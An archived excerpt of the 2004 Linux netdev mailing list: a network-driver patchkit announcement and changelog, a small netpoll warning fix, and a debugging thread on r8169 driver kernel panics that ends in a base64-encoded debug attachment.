Andrew/upstream until bugs and interface issues are fully sorted out. This split-up allowed me to easily create broken-out sets of patches, which are available at the URL below. Note the new "netdev" moniker too, that's not a typo. Summary of new changes: * forcedeth update * more fixes and cleanups from Al Viro * netpoll, atmel, dgrs updates * other bits Summary of patchkit: * new e100 driver (rewritten from scratch) * new nVidia nForce NIC driver * new pci200syn WAN driver * r8169 major bug fixes * e1000 minor updates / fixes * sk98lin vendor updates / fixes * many bonding updates and cleanups * misc bug fixes * 8139too NAPI support * tulip NAPI support * netconsole / netdump support * net_device allocation and reference counting work Patch: http://www.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/2.6.1-bk1-netdev2.patch.bz2 Full changelog: http://www.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/2.6.1-bk1-netdev2.log Broken-out patches (broken out into "buckets" not changesets): http://www.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/broken-out/ BK repo: bk://gkernel.bkbits.net/netdev-2.6 or http://gkernel.bkbits.net/netdev-2.6 Changelog delta attached. --------------010204090309070907070407 Content-Type: text/plain; name="changelog.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="changelog.txt" Alexander Viro: o [wan pci200syn] eliminate embedded hdlc_device struct o [netdrvr s390/qeth] Alloc fixes o [netdrvr shaper] fix double-free o [netdrvr dvb/dvb_net] fixes o [netdrvr arch/uml] leak fix o [netdrvr saa9730] fix double-free o [netdrvr arm/am79c961] Fix for IO-before-request_region race o [wan] leak fixes in hostess_sv11, lapbether o [netdrvr s390/lcs] Leak fix o [wireless orinoco] check alloc_etherdev for failure o [netdrvr apne] resource leak fix o [netdrvr 3c509] Leak fixed o [netdrvr acenic] Race and leak fixes o [all over] more kfree -> free_netdev o [netdrvr isa-skeleton] cleanups and fixes o [wan sdla] Fixed leaks and double-free o [netdrvr fec] switched to sane allocation. It still leaks on failure exits, though o [netdrvr s390/netiucv] partially sanitized wrt allocation o [wireless airo] switched to sane allocation o [netdrvr tun] Killed bogus ->init() o [wan sealevel] Plugged a leak o [wan sbni] sane net_device allocation; plug a bunch of leaks o [wan hostess_sv11] sane net_device allocation o [wan hdlc_fr] Switched allocation of net_device to alloc_netdev() o [wan hdlc] kill embedding of struct net_device o [wan hdlc] removal hdlc_to_dev() o [wan dscc4] embedded struct removal o [wan farsync] embedded struct hdlc_device removal o [wan pc300] use alloc_hdlcdev()/free_hdlcdev(). Leak fixed o [wan hdlc] kill embedded struct in various drivers o [wan hdlc] new private struct pointer in hdlc_device, and helpers for it o [wan hdlc] switch register_hdlc_device() to take net_device arg o [wan dscc4] Uses of ->hdlc and hdlc_to_dev() encapsulated into dscc4_to_dev() o [wan hdlc] new hdlc_stats() helper o [wan pc300] more direct use of net_device o [wan hdlc] switch internal ioctl dispatch to net_device o [wan wanxl] eliminated hdlc_to_name() uses and a bunch of port->hdlc ones o [wan hdlc_x25] eliminated hdlc_to_dev() and hdlc_to_name() uses o [wan hdlc] hdlc_fr: eliminated ->netdev, hdlc_to_dev() and hdlc_to_name() uses o [wan hdlc] hdlc_cisco: killed ->netdev, hdlc_to_name() and hdlc_to_dev() uses o [wan hdlc] hdlc->proto.*() switched to net_device o [wan farsync] Eliminated a bunch of port->hdlc and hdlc_to_dev() uses o [wan hdlc] hdlc->attach() switched to net_device o [wan hdlc] hdlc_set_carrier() switched to net_device o [wan hdlc] switch sca_xxx() to use net_device o [wan hdlc] new port_to_dev() helper o [wan hdlc] hdlc_close() switched to net_device o [wan hdlc] hdlc_open() switched to net_device o [wan lapb] kill now-unused custom token container o [wan lapb] Printks switched from %p lapb->token to %p lapb->dev o [wan lapb] switch to use net_device instead of custom token o [wan lapb] beginning of cleanups Andi Kleen: o Mark IBM TR driver as not 64 bit clean Jeff Garzik: o [tokenring olympic] use memset_io to fix certain platforms Manfred Spraul: o [netdrvr forcedeth] alloc fixes Matt Mackall: o netpoll carrier handling o netconsole init return code o netconsole init return code o [netdrvr] add netpoll support to several 8390-based drivers o netpoll abort for bad interface Simon Kelley: o [wireless atmel] various updates Stephen Hemminger: o bugfixes for dgrs.c --------------010204090309070907070407-- From jgarzik@pobox.com Sun Jan 11 00:24:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 00:24:32 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0B8O86H025384 for ; Sun, 11 Jan 2004 00:24:11 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34680 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AfatC-00022h-Vb; Sun, 11 Jan 2004 08:24:07 +0000 Message-ID: <4001080D.3090401@pobox.com> Date: Sun, 11 Jan 2004 03:23:41 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: dpollock@acm.org CC: Francois Romieu , netdev@oss.sgi.com Subject: Re: Realtek 8169 Lock-ups References: <1073507006.5151.61.camel@localhost> <20040107232034.A22930@electric-eye.fr.zoreil.com> <1073596694.6378.6.camel@localhost> In-Reply-To: <1073596694.6378.6.camel@localhost> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2333 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 277 Lines: 16 Hum... where are we on this? Francois made a few key fixes before he left, which I've included in the latest netdev patch... http://www.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/2.6.1-bk1-netdev2.patch.bz2 Have those already been tested? Thanks, Jeff From akpm@osdl.org Sun Jan 11 00:45:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 00:45:57 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0B8ji6H026232 for ; Sun, 11 Jan 2004 00:45:44 -0800 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0B8jZo00742; Sun, 11 Jan 2004 00:45:35 -0800 Date: Sun, 11 Jan 2004 00:45:40 -0800 From: Andrew Morton To: Jeff Garzik Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [NETDEV] experimental net driver queue updated Message-Id: <20040111004540.403ca854.akpm@osdl.org> In-Reply-To: <4000C5A3.5070101@pobox.com> References: <4000C5A3.5070101@pobox.com> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2334 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 797 Lines: 23 Jeff Garzik wrote: > > Patch: > http://www.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/2.6.1-bk1-netdev2.patch.bz2 net/core/netpoll.c: In function `netpoll_setup': net/core/netpoll.c:572: warning: too many arguments for format net/core/netpoll.c:572: warning: too many arguments for format --- 25/net/core/netpoll.c~netpoll-warning-fix 2004-01-11 00:43:24.000000000 -0800 +++ 25-akpm/net/core/netpoll.c 2004-01-11 00:43:50.000000000 -0800 @@ -569,7 +569,7 @@ int netpoll_setup(struct netpoll *np) if (time_before(jiffies, atleast)) { printk(KERN_NOTICE "%s: carrier detect appears flaky," " waiting 10 seconds\n", - np->name, np->dev_name); + np->name); while (time_before(jiffies, atmost)) cond_resched(); } _ From romieu@fr.zoreil.com Sun Jan 11 03:53:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 03:53:25 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BBr96H001215 for ; Sun, 11 Jan 2004 03:53:11 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0BBo8sW018807; Sun, 11 Jan 2004 12:50:08 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0BBnwiI018801; Sun, 11 Jan 2004 12:49:58 +0100 Date: Sun, 11 Jan 2004 12:49:57 +0100 From: Francois Romieu To: Jeff Garzik Cc: dpollock@acm.org, netdev@oss.sgi.com, damouse@ntlworld.com, brad@mainstreetsoftworks.com, kinetik@orcon.net.nz Subject: Re: Realtek 8169 Lock-ups Message-ID: <20040111124957.A18068@electric-eye.fr.zoreil.com> References: <1073507006.5151.61.camel@localhost> <20040107232034.A22930@electric-eye.fr.zoreil.com> <1073596694.6378.6.camel@localhost> <4001080D.3090401@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <4001080D.3090401@pobox.com>; from jgarzik@pobox.com on Sun, Jan 11, 2004 at 03:23:41AM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 2335 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 1568 Lines: 43 Jeff Garzik : [...] > Have those already been tested? Yes. Tester (damouse) included in Cc: list. The patches improves the situation so that it is possible to bring the interface up and send/receive traffic but something clearly smashes the stack (if someone wants to check, .jpg panic and r8169 module available at http://www.fr.zoreil.com/people/francois/misc/debug). After the latest days of "patch/patch -R/change line foo into bar/...", I have rediffed the whole serie of changes against 2.6.1 so M. Damouse can test an identified set of patches and isolate the misbehaving one(s). It is available at http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.1. If people can reproduce the tests that M. Damouse made, it should look like: apply r8169-dma-api-tx.patch apply r8169-dma-api-rx-buffers.patch apply r8169-dma-api-rx-buffers-ahum.patch apply r8169-rx-fill-typo.patch apply r8169-start-xmit-fixes.patch apply r8169-dma-api-tx-buffers.patch apply r8169-rx_copybreak.patch -> So far, so good, no regression from classical driver apply r8169-mac-phy-version.patch apply r8169-buggy-devinitdata.patch -> Seems fine but panics after a few ko of traffic Confirmation, anyone ? The set contains two extra/untested patches [*] wrt 2.6.1-bk1-netdev2. No need to push these further until the current issues are fixed imho. M. Pollock's problems look different: - they do not depend on the driver used; - they seem timing/smp related (mobile computer + p4 HT). [*] r8169-addr-high.patch r8169-ethtool-introduction.patch -- Ueimor From damouse@ntlworld.com Sun Jan 11 05:57:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 05:58:06 -0800 (PST) Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BDvq6H016974 for ; Sun, 11 Jan 2004 05:57:53 -0800 Received: from EozVul.WORKGROUP ([217.137.146.80]) by mta02-svc.ntlworld.com (InterMail vM.4.01.03.37 201-229-121-137-20020806) with SMTP id <20040111135725.DALH17535.mta02-svc.ntlworld.com@EozVul.WORKGROUP>; Sun, 11 Jan 2004 13:57:25 +0000 Date: Sun, 11 Jan 2004 13:59:00 +0000 From: DaMouse Networks To: Francois Romieu Cc: netdev@oss.sgi.com Subject: Re: [BUG] 2.6.1-rc1-mm1 with r8169 driver Message-Id: <20040111135900.1acb95b3@EozVul.WORKGROUP> In-Reply-To: <20040111141806.A19535@electric-eye.fr.zoreil.com> References: <20040106214950.6901a5a1@EozVul.WORKGROUP> <20040106232646.E4767@electric-eye.fr.zoreil.com> <20040110153709.0df74309@EozVul.WORKGROUP> <20040110213531.C4413@electric-eye.fr.zoreil.com> <20040110210058.74e4fbca@EozVul.WORKGROUP> <20040110224439.E4413@electric-eye.fr.zoreil.com> <20040110215315.73d8953b@EozVul.WORKGROUP> <20040110231546.F4413@electric-eye.fr.zoreil.com> <20040111000920.A7396@electric-eye.fr.zoreil.com> <20040111125428.7dfc6d54@EozVul.WORKGROUP> <20040111141806.A19535@electric-eye.fr.zoreil.com> Organization: DaMouse Networks X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Multipart=_Sun__11_Jan_2004_13_59_00_+0000__w4ZBaR2oW0h.mhe" X-archive-position: 2336 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: damouse@ntlworld.com Precedence: bulk X-list: netdev Content-Length: 10475 Lines: 163 This is a multi-part message in MIME format. --Multipart=_Sun__11_Jan_2004_13_59_00_+0000__w4ZBaR2oW0h.mhe Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Same results for non-SMP kernel (kpanic after a few minutes of surfing and also when i ran ping -f). Stock 2.6.1 runs fine with my 7000 (ping -f) packets to the router :). debug-stuff for 2.6.1-r8169 (2.6.1+the r8169 that we've applied so far) is attached. -DaMouse On Sun, 11 Jan 2004 14:18:06 +0100 Francois Romieu wrote: > DaMouse Networks : > > Ok, looks like my additional testing with ping -f is bringing out the bugs > > in this baby, once I'd got past the r8169-rx-fill-typo.patch it borked on > > "ping -f" with the kpanic I pictured last time. Looks like I shoulda tested > > that also last time :/. I have attached the files you requested any other > > stuff you need just ask :) > > Fine. I'll dig it this evening. > > (/me gives a quick sight...) > > Hmmm... acpi + HT smp. > > Can you (no more request until I cook something, no joke :o) ): > - check that plain 2.6.1 driver does not panic under 'ping -f' ? > - compile a non SMP enabled kernel and see if patched r8169 is stable > - during normal traffic > - during 'ping -f' > > Please Cc: netdev@oss.sgi.com and include the relevant 'dmesg' output. > > -- > Ueimor --Multipart=_Sun__11_Jan_2004_13_59_00_+0000__w4ZBaR2oW0h.mhe Content-Type: application/octet-stream; name="debug.tar.bz2" Content-Disposition: attachment; filename="debug.tar.bz2" Content-Transfer-Encoding: base64 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 